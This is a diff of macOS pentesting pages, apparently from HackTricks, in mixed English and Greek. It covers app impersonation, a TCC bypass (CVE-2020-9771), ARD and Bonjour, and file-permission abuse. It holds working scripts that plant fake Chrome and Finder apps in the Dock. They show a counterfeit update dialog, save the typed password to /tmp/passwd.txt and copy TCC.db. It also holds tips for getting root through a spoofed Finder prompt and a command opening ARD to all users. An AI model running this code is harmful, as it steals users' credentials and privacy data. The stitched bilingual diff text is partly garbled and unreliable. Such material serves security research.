{{#tab name="Chrome Impersonation"}}
Some suggestions:
- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array.&#x20;
Ορισμένες προτάσεις:
- Ελέγξτε στο Dock αν υπάρχει ένα Chrome, και σε αυτή την περίπτωση **αφαιρέστε** αυτή την καταχώρηση και **προσθέστε** την **ψεύτικη** **καταχώρηση Chrome στην ίδια θέση** στον πίνακα Dock.&#x20;
```bash
#!/bin/sh
@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#tab name="Finder Impersonation"}}
Some suggestions:
- You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
- Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
- Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
- Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
- Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
Ορισμένες προτάσεις:
- Δεν **μπορείτε να αφαιρέσετε τον Finder από το Dock**, οπότε αν σκοπεύετε να τον προσθέσετε στο Dock, μπορείτε να τοποθετήσετε τον ψεύτικο Finder ακριβώς δίπλα στον πραγματικό. Για αυτό χρειάζεται να **προσθέσετε την ψεύτικη καταχώρηση Finder στην αρχή του πίνακα Dock**.
- Μια άλλη επιλογή είναι να μην τον τοποθετήσετε στο Dock και απλώς να τον ανοίξετε, "Finder που ζητά να ελέγξει τον Finder" δεν είναι τόσο περίεργο.
- Μια άλλη επιλογή για **να αποκτήσετε δικαιώματα root χωρίς να ζητήσετε** τον κωδικό πρόσβασης με ένα απαίσιο παράθυρο, είναι να κάνετε τον Finder να ζητήσει πραγματικά τον κωδικό πρόσβασης για να εκτελέσει μια προνομιούχα ενέργεια:
- Ζητήστε από τον Finder να αντιγράψει στο **`/etc/pam.d`** ένα νέο **`sudo`** αρχείο (Η προτροπή που ζητά τον κωδικό πρόσβασης θα υποδεικνύει ότι "Ο Finder θέλει να αντιγράψει το sudo")
- Ζητήστε από τον Finder να αντιγράψει ένα νέο **Authorization Plugin** (Μπορείτε να ελέγξετε το όνομα του αρχείου ώστε η προτροπή που ζητά τον κωδικό πρόσβασης να υποδεικνύει ότι "Ο Finder θέλει να αντιγράψει το Finder.bundle")
```bash
#!/bin/sh
@ -153,13 +148,13 @@ cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#endtabs}}
## TCC - Root Privilege Escalation
## TCC - Εκμετάλλευση Δικαιωμάτων Ρίζας
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
### CVE-2020-9771 - παράκαμψη TCC mount_apfs και εκμετάλλευση δικαιωμάτων
**Οποιοσδήποτε χρήστης** (ακόμα και αυτοί χωρίς δικαιώματα) μπορεί να δημιουργήσει και να τοποθετήσει ένα στιγμιότυπο μηχανής χρόνου και να **έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\
Η **μόνη προϋπόθεση** είναι η εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`), η οποία πρέπει να παραχωρηθεί από έναν διαχειριστή.
```bash
# Create snapshot
tmutil localsnapshot
@ -233,12 +226,11 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
Μια πιο λεπτομερής εξήγηση μπορεί να [**βρεθεί στην αρχική αναφορά**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
## Ευαίσθητες Πληροφορίες
## Sensitive Information
This can be useful to escalate privileges:
Αυτό μπορεί να είναι χρήσιμο για την κλιμάκωση δικαιωμάτων:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md

View File

@ -1,19 +1,18 @@
# macOS Network Services & Protocols
# macOS Υπηρεσίες Δικτύου & Πρωτόκολλα
{{#include ../../banners/hacktricks-training.md}}
## Remote Access Services
## Υπηρεσίες Απομακρυσμένης Πρόσβασης
These are the common macOS services to access them remotely.\
You can enable/disable these services in `System Settings` --> `Sharing`
Αυτές είναι οι κοινές υπηρεσίες macOS για απομακρυσμένη πρόσβαση σε αυτές.\
Μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε αυτές τις υπηρεσίες στις `Ρυθμίσεις Συστήματος` --> `Κοινή Χρήση`
- **VNC**, known as “Screen Sharing” (tcp:5900)
- **SSH**, called “Remote Login” (tcp:22)
- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900)
- **AppleEvent**, known as “Remote Apple Event” (tcp:3031)
Check if any is enabled running:
- **VNC**, γνωστό ως “Κοινή Χρήση Οθόνης” (tcp:5900)
- **SSH**, που ονομάζεται “Απομακρυσμένη Σύνδεση” (tcp:22)
- **Apple Remote Desktop** (ARD), ή “Απομακρυσμένη Διαχείριση” (tcp:3283, tcp:5900)
- **AppleEvent**, γνωστό ως “Απομακρυσμένο Apple Event” (tcp:3031)
Ελέγξτε αν κάποια είναι ενεργοποιημένη εκτελώντας:
```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -23,105 +22,92 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
```
### Pentesting ARD
Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits.
Apple Remote Desktop (ARD) είναι μια ενισχυμένη έκδοση του [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) προσαρμοσμένη για macOS, προσφέροντας επιπλέον δυνατότητες. Μια αξιοσημείωτη ευπάθεια στο ARD είναι η μέθοδος αυθεντικοποίησης για τον κωδικό πρόσβασης της οθόνης ελέγχου, η οποία χρησιμοποιεί μόνο τους πρώτους 8 χαρακτήρες του κωδικού πρόσβασης, καθιστώντας την επιρρεπή σε [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) με εργαλεία όπως το Hydra ή το [GoRedShell](https://github.com/ahhh/GoRedShell/), καθώς δεν υπάρχουν προεπιλεγμένα όρια ρυθμού.
Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation.
To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command:
Οι ευάλωτες περιπτώσεις μπορούν να εντοπιστούν χρησιμοποιώντας το σενάριο `vnc-info` του **nmap**. Υπηρεσίες που υποστηρίζουν `VNC Authentication (2)` είναι ιδιαίτερα ευάλωτες σε επιθέσεις brute force λόγω της περικοπής του κωδικού πρόσβασης σε 8 χαρακτήρες.
Για να ενεργοποιήσετε το ARD για διάφορες διοικητικές εργασίες όπως η κλιμάκωση προνομίων, η πρόσβαση GUI ή η παρακολούθηση χρηστών, χρησιμοποιήστε την παρακάτω εντολή:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
ARD παρέχει ευέλικτα επίπεδα ελέγχου, συμπεριλαμβανομένης της παρακολούθησης, του κοινόχρηστου ελέγχου και του πλήρους ελέγχου, με τις συνεδρίες να παραμένουν ενεργές ακόμη και μετά από αλλαγές κωδικού πρόσβασης χρήστη. Επιτρέπει την αποστολή εντολών Unix απευθείας, εκτελώντας τις ως root για διαχειριστικούς χρήστες. Ο προγραμματισμός εργασιών και η απομακρυσμένη αναζήτηση Spotlight είναι αξιοσημείωτα χαρακτηριστικά, διευκολύνοντας απομακρυσμένες, χαμηλής επίπτωσης αναζητήσεις ευαίσθητων αρχείων σε πολλές μηχανές.
ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines.
## Πρωτόκολλο Bonjour
## Bonjour Protocol
Το Bonjour, μια τεχνολογία σχεδιασμένη από την Apple, επιτρέπει **στις συσκευές στο ίδιο δίκτυο να ανιχνεύουν τις προσφερόμενες υπηρεσίες η μία της άλλης**. Γνωστό επίσης ως Rendezvous, **Zero Configuration**, ή Zeroconf, επιτρέπει σε μια συσκευή να ενταχθεί σε ένα δίκτυο TCP/IP, **να επιλέξει αυτόματα μια διεύθυνση IP**, και να εκπέμπει τις υπηρεσίες της σε άλλες συσκευές του δικτύου.
Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices.
Η Δικτύωση Χωρίς Ρυθμίσεις, που παρέχεται από το Bonjour, διασφαλίζει ότι οι συσκευές μπορούν να:
Zero Configuration Networking, provided by Bonjour, ensures that devices can:
- **Αποκτούν αυτόματα μια Διεύθυνση IP** ακόμη και στην απουσία διακομιστή DHCP.
- Εκτελούν **μετάφραση ονόματος σε διεύθυνση** χωρίς να απαιτείται διακομιστής DNS.
- **Ανακαλύπτουν υπηρεσίες** διαθέσιμες στο δίκτυο.
- **Automatically obtain an IP Address** even in the absence of a DHCP server.
- Perform **name-to-address translation** without requiring a DNS server.
- **Discover services** available on the network.
Οι συσκευές που χρησιμοποιούν το Bonjour θα αναθέσουν στον εαυτό τους μια **διεύθυνση IP από το εύρος 169.254/16** και θα επαληθεύσουν την μοναδικότητά της στο δίκτυο. Οι Macs διατηρούν μια καταχώρηση πίνακα δρομολόγησης για αυτό το υποδίκτυο, που μπορεί να επαληθευτεί μέσω `netstat -rn | grep 169`.
Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`.
Για το DNS, το Bonjour χρησιμοποιεί το **πρωτόκολλο Multicast DNS (mDNS)**. Το mDNS λειτουργεί μέσω **θύρας 5353/UDP**, χρησιμοποιώντας **τυπικά ερωτήματα DNS** αλλά στοχεύοντας στη **διεύθυνση multicast 224.0.0.251**. Αυτή η προσέγγιση διασφαλίζει ότι όλες οι συσκευές που ακούν στο δίκτυο μπορούν να λάβουν και να απαντήσουν στα ερωτήματα, διευκολύνοντας την ενημέρωση των καταχωρήσεών τους.
For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records.
Κατά την ένταξή τους στο δίκτυο, κάθε συσκευή επιλέγει αυτόματα ένα όνομα, που συνήθως τελειώνει σε **.local**, το οποίο μπορεί να προέρχεται από το όνομα υπολογιστή ή να είναι τυχαία παραγόμενο.
Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated.
Η ανακάλυψη υπηρεσιών εντός του δικτύου διευκολύνεται από το **DNS Service Discovery (DNS-SD)**. Εκμεταλλευόμενο τη μορφή των καταχωρήσεων DNS SRV, το DNS-SD χρησιμοποιεί **καταχωρήσεις DNS PTR** για να επιτρέψει την καταχώρηση πολλαπλών υπηρεσιών. Ένας πελάτης που αναζητά μια συγκεκριμένη υπηρεσία θα ζητήσει μια καταχώρηση PTR για `<Service>.<Domain>`, λαμβάνοντας σε αντάλλαγμα μια λίστα καταχωρήσεων PTR μορφοποιημένων ως `<Instance>.<Service>.<Domain>` αν η υπηρεσία είναι διαθέσιμη από πολλούς διακομιστές.
Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `<Service>.<Domain>`, receiving in return a list of PTR records formatted as `<Instance>.<Service>.<Domain>` if the service is available from multiple hosts.
Το εργαλείο `dns-sd` μπορεί να χρησιμοποιηθεί για **την ανακάλυψη και διαφήμιση δικτυακών υπηρεσιών**. Ακολουθούν μερικά παραδείγματα χρήσης του:
The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage:
### Searching for SSH Services
To search for SSH services on the network, the following command is used:
### Αναζητώντας Υπηρεσίες SSH
Για να αναζητήσετε υπηρεσίες SSH στο δίκτυο, χρησιμοποιείται η εξής εντολή:
```bash
dns-sd -B _ssh._tcp
```
Αυτή η εντολή ξεκινά την αναζήτηση για υπηρεσίες \_ssh.\_tcp και εξάγει λεπτομέρειες όπως χρονική σήμανση, σημαίες, διεπαφή, τομέα, τύπο υπηρεσίας και όνομα στιγμής.
This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name.
### Advertising an HTTP Service
To advertise an HTTP service, you can use:
### Διαφήμιση μιας Υπηρεσίας HTTP
Για να διαφημίσετε μια υπηρεσία HTTP, μπορείτε να χρησιμοποιήσετε:
```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
Αυτή η εντολή καταχωρεί μια υπηρεσία HTTP με το όνομα "Index" στη θύρα 80 με διαδρομή `/index.html`.
This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`.
To then search for HTTP services on the network:
Για να αναζητήσετε υπηρεσίες HTTP στο δίκτυο:
```bash
dns-sd -B _http._tcp
```
Όταν μια υπηρεσία ξεκινά, ανακοινώνει τη διαθεσιμότητά της σε όλες τις συσκευές στο υποδίκτυο μέσω multicast της παρουσίας της. Οι συσκευές που ενδιαφέρονται για αυτές τις υπηρεσίες δεν χρειάζεται να στείλουν αιτήματα, αλλά απλώς να ακούσουν αυτές τις ανακοινώσεις.
When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements.
For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services:
Για μια πιο φιλική προς τον χρήστη διεπαφή, η εφαρμογή **Discovery - DNS-SD Browser** που είναι διαθέσιμη στο Apple App Store μπορεί να οπτικοποιήσει τις υπηρεσίες που προσφέρονται στο τοπικό σας δίκτυο.
Εναλλακτικά, μπορούν να γραφούν προσαρμοσμένα σενάρια για να περιηγηθούν και να ανακαλύψουν υπηρεσίες χρησιμοποιώντας τη βιβλιοθήκη `python-zeroconf`. Το [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) σενάριο δείχνει πώς να δημιουργήσετε έναν περιηγητή υπηρεσιών για τις υπηρεσίες `_http._tcp.local.`, εκτυπώνοντας τις προστιθέμενες ή αφαιρεθείσες υπηρεσίες:
```python
from zeroconf import ServiceBrowser, Zeroconf
class MyListener:
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
zeroconf = Zeroconf()
listener = MyListener()
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
try:
input("Press enter to exit...\n\n")
input("Press enter to exit...\n\n")
finally:
zeroconf.close()
zeroconf.close()
```
### Απενεργοποίηση Bonjour
### Disabling Bonjour
If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command:
Εάν υπάρχουν ανησυχίες σχετικά με την ασφάλεια ή άλλοι λόγοι για να απενεργοποιηθεί το Bonjour, μπορεί να απενεργοποιηθεί χρησιμοποιώντας την παρακάτω εντολή:
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
## Αναφορές
## References
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**Το Χειρόγραφο του Χάκερ Mac**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
- [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)

View File

@ -7,20 +7,20 @@
Δικαιώματα σε έναν **φάκελο**:
- **ανάγνωση** - μπορείτε να **καταμετρήσετε** τις καταχωρίσεις του φακέλου
- **γραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε άδειους φακέλους**.
- Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη άδειους φακέλους** εκτός αν έχετε δικαιώματα γραφής πάνω τους.
- **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε άδειους φακέλους**.
- Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη άδειους φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους.
- Δεν μπορείτε να **τροποποιήσετε το όνομα ενός φακέλου** εκτός αν τον κατέχετε.
- **εκτέλεση** - σας επιτρέπεται να **περπατήσετε** στον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιουσδήποτε υποφακέλους.
- **εκτέλεση** - σας επιτρέπεται να **περπατήσετε** τον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιουσδήποτε υποφακέλους.
### Επικίνδυνοι Συνδυασμοί
**Πώς να αντικαταστήσετε ένα αρχείο/φάκελο που ανήκει στον root**, αλλά:
- Ένας γονικός **ιδιοκτήτης φακέλου** στη διαδρομή είναι ο χρήστης
- Ένας γονικός **ιδιοκτήτης φακέλου** στη διαδρομή είναι μια **ομάδα χρηστών** με **δικαιώματα γραφής**
- Μια ομάδα χρηστών έχει **δικαιώματα γραφής** στο **αρχείο**
- Ένας γονικός **ιδιοκτήτης φακέλου** στη διαδρομή είναι μια **ομάδα χρηστών** με **δικαιώματα εγγραφής**
- Μια **ομάδα χρηστών** έχει **δικαιώματα εγγραφής** στο **αρχείο**
Με οποιονδήποτε από τους προηγούμενους συνδυασμούς, ένας επιτιθέμενος θα μπορούσε να **εισάγει** έναν **συμβολικό/σκληρό σύνδεσμο** στην αναμενόμενη διαδρομή για να αποκτήσει προνομιακή αυθαίρετη γραφή.
Με οποιονδήποτε από τους προηγούμενους συνδυασμούς, ένας επιτιθέμενος θα μπορούσε να **εισάγει** έναν **συμβολικό/σκληρό σύνδεσμο** στην αναμενόμενη διαδρομή για να αποκτήσει προνομιακή αυθαίρετη εγγραφή.
### Ειδική περίπτωση φακέλου root R+X
@ -30,13 +30,19 @@
## Συμβολικός Σύνδεσμος / Σκληρός Σύνδεσμος
Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να **ελεγχθεί** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει σε ένα άλλο αρχείο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο.
### Επιτρεπτικό αρχείο/φάκελος
Ελέγξτε σε άλλες ενότητες όπου ένας επιτιθέμενος θα μπορούσε να **καταχραστεί μια αυθαίρετη γραφή για να κλιμακώσει τα προνόμια**.
Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να **ελεγχθεί** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει το αρχείο σε ένα άλλο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο.
Ελέγξτε σε άλλες ενότητες όπου ένας επιτιθέμενος θα μπορούσε να **καταχραστεί μια αυθαίρετη εγγραφή για να κλιμακώσει τα προνόμια**.
### Ανοιχτό `O_NOFOLLOW`
Η σημαία `O_NOFOLLOW` όταν χρησιμοποιείται από τη συνάρτηση `open` δεν θα ακολουθήσει έναν συμβολικό σύνδεσμο στο τελευταίο συστατικό της διαδρομής, αλλά θα ακολουθήσει την υπόλοιπη διαδρομή. Ο σωστός τρόπος για να αποτρέψετε την ακολουθία συμβολικών συνδέσμων στη διαδρομή είναι χρησιμοποιώντας τη σημαία `O_NOFOLLOW_ANY`.
## .fileloc
Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά αρχεία, έτσι όταν ανοίγουν, η εφαρμογή/δυαδικό αρχείο θα είναι αυτό που θα εκτελείται.\
Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγουν, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\
Παράδειγμα:
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -50,11 +56,15 @@
</dict>
</plist>
```
## Arbitrary FD
## File Descriptors
Αν μπορείτε να κάνετε μια **διαδικασία να ανοίξει ένα αρχείο ή έναν φάκελο με υψηλά δικαιώματα**, μπορείτε να εκμεταλλευτείτε το **`crontab`** για να ανοίξετε ένα αρχείο στο `/etc/sudoers.d` με **`EDITOR=exploit.py`**, έτσι ώστε το `exploit.py` να αποκτήσει το FD στο αρχείο μέσα στο `/etc/sudoers` και να το εκμεταλλευτεί.
### Leak FD (no `O_CLOEXEC`)
Για παράδειγμα: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
Αν μια κλήση στο `open` δεν έχει την σημαία `O_CLOEXEC`, ο περιγραφέας αρχείου θα κληρονομηθεί από τη διαδικασία παιδί. Έτσι, αν μια προνομιακή διαδικασία ανοίξει ένα προνομιακό αρχείο και εκτελέσει μια διαδικασία που ελέγχεται από τον επιτιθέμενο, ο επιτιθέμενος θα **κληρονομήσει τον FD πάνω στο προνομιακό αρχείο**.
